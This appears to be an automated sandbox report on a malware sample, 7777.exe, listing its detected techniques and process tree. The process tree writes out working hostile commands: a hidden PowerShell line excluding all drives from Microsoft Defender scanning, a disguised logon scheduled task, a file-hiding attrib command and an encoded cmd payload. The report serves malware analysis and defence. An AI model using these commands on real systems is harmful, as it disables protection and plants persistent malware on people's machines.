Overview

overview

8

Static

static

3

7777.exe

windows10-2004-x64

8

7777.exe

windows11-ltsc_2024-x64

8

Analysis

  • max time kernel
    150s
  • max time network
    136s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    31/07/2026, 23:12

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    7777.exe
  • Size 639KB
  • Sample260731-265vlsam4s
  • SHA256 64a25f427f8a0e6eab5d113ce04cca4b5e30b60ae012aedb556d47ef8d92b668
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
defense_evasionexecutionpersistence

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

    execution
  • Executes dropped EXE 3 IoCs
  • Prevents Microsoft Defender from scanning certain paths by adding an exclusion. 2 TTPs 1 IoCs

    Uses the Powershell Add-MpPreference cmdlet to exclude paths from being scanned by Microsoft Defender.

    defense_evasion
  • Hide Artifacts: Hidden Window 1 TTPs 1 IoCs

    Windows that would typically be displayed when an application carries out an operation can be hidden.

    defense_evasion
  • Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs
    defense_evasion
  • Hide Artifacts: Ignore Process Interrupts 1 TTPs 1 IoCs

    Command interpreters often include specific commands/flags that ignore errors and other hangups.

    defense_evasion
  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 43 IoCs
  • Suspicious use of WriteProcessMemory 13 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Views/modifies file attributes 1 TTPs 1 IoCs
    defense_evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\7777.exe
    "C:\Users\Admin\AppData\Local\Temp\7777.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2808
    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\TelemetryHostService.exe
      "C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\TelemetryHostService.exe" --r
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:5732
      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\TelemetryHostService.exe
        "C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\TelemetryHostService.exe" --wd 5732
        3⤵
        • Executes dropped EXE
        PID:5700
      • C:\Windows\SYSTEM32\cmd.exe
        cmd.exe /c chcp 65001 >nul && S‡‘àvÂ¥&&¬º5÷ mT ðü•€í*ò¾±†D牭[<uȃ"Æ‘<šÌÁ¶ð ˆPޱÀÙñècÛäR]äLMÎéù|ӝ;Å›…#öå®Ò‡ÌQM“Œ‰‹¬ãyô¢2} xÅtÑÆÍ¿eºXŽŽŠKf(M5§~Û<xP⮈r¹Ë+ÜË5K©š}û5¾Ö+¸Œh]øµNÆÑJ$™Žz¾L[ó‡T/AÌ„g T ]îÉ åvT %(d×Uyc§ ç&è0©âdì; ÐÖø”çe ©_—-ñ*%q´Íq̹gC=$©ÁEÞgÆë†÷k´>m÷'i;U]=D¶:X Jœ+#o{
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:5604
        • C:\Windows\system32\chcp.com
          chcp 65001
          4⤵
            PID:4472
        • C:\Windows\SYSTEM32\cmd.exe
          cmd.exe /c chcp 65001 >nul && powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "[Console]::OutputEncoding=[Text.Encoding]::UTF8;Get-PSDrive -PSProvider FileSystem|Where-Object{$_.Root -match '^[A-Z]:\\' -and (Test-Path $_.Root)}|ForEach-Object{Add-MpPreference -ExclusionPath $_.Root -ErrorAction SilentlyContinue}"
          3⤵
          • Prevents Microsoft Defender from scanning certain paths by adding an exclusion.
          • Hide Artifacts: Hidden Window
          • Hide Artifacts: Ignore Process Interrupts
          • Suspicious use of WriteProcessMemory
          PID:4868
          • C:\Windows\system32\chcp.com
            chcp 65001
            4⤵
              PID:2964
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "[Console]::OutputEncoding=[Text.Encoding]::UTF8;Get-PSDrive -PSProvider FileSystem|Where-Object{$_.Root -match '^[A-Z]:\\' -and (Test-Path $_.Root)}|ForEach-Object{Add-MpPreference -ExclusionPath $_.Root -ErrorAction SilentlyContinue}"
              4⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:4224
          • C:\Windows\SYSTEM32\cmd.exe
            cmd.exe /c chcp 65001 >nul && schtasks /create /f /sc onlogon /tn "TelemetryHostService" /tr "\"C:\Users\Admin\AppData\Roaming\TelemetryHostService.exe\"" /ru ""
            3⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:2592
            • C:\Windows\system32\chcp.com
              chcp 65001
              4⤵
                PID:4888
              • C:\Windows\system32\schtasks.exe
                schtasks /create /f /sc onlogon /tn "TelemetryHostService" /tr "\"C:\Users\Admin\AppData\Roaming\TelemetryHostService.exe\"" /ru ""
                4⤵
                • Scheduled Task/Job: Scheduled Task
                PID:5216
            • C:\Windows\SYSTEM32\cmd.exe
              cmd.exe /c chcp 65001 >nul && attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\TelemetryHostService.exe"
              3⤵
              • Hide Artifacts: Hidden Files and Directories
              • Suspicious use of WriteProcessMemory
              PID:3936
              • C:\Windows\system32\chcp.com
                chcp 65001
                4⤵
                  PID:904
                • C:\Windows\system32\attrib.exe
                  attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\TelemetryHostService.exe"
                  4⤵
                  • Views/modifies file attributes
                  PID:1240
          • C:\Users\Admin\AppData\Roaming\TelemetryHostService.exe
            "C:\Users\Admin\AppData\Roaming\TelemetryHostService.exe"
            1⤵
            • Executes dropped EXE
            PID:5296

          Network

                MITRE ATT&CK Enterprise v16

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                TelemetryHostService.exe
                • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\TelemetryHostService.exe
                • Size 639KB
                • SHA256 64a25f427f8a0e6eab5d113ce04cca4b5e30b60ae012aedb556d47ef8d92b668
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                memory/2808-2-0x00007FF6F6290000-0x00007FF6F634D000-memory.dmp
                Download

                memory/4224-5-0x000001D6651A0000-0x000001D6651C2000-memory.dmp
                Download

                memory/4224-8-0x000001D67D7D0000-0x000001D67D7EE000-memory.dmp
                Download

                memory/4224-9-0x000001D67DA50000-0x000001D67DB02000-memory.dmp
                Download

                memory/4224-10-0x000001D67D7F0000-0x000001D67D7FA000-memory.dmp
                Download

                memory/5296-13-0x00007FF78AAB0000-0x00007FF78AB6D000-memory.dmp
                Download

                memory/5700-15-0x00007FF7F5E30000-0x00007FF7F5EED000-memory.dmp
                Download

                memory/5732-14-0x00007FF7F5E30000-0x00007FF7F5EED000-memory.dmp
                Download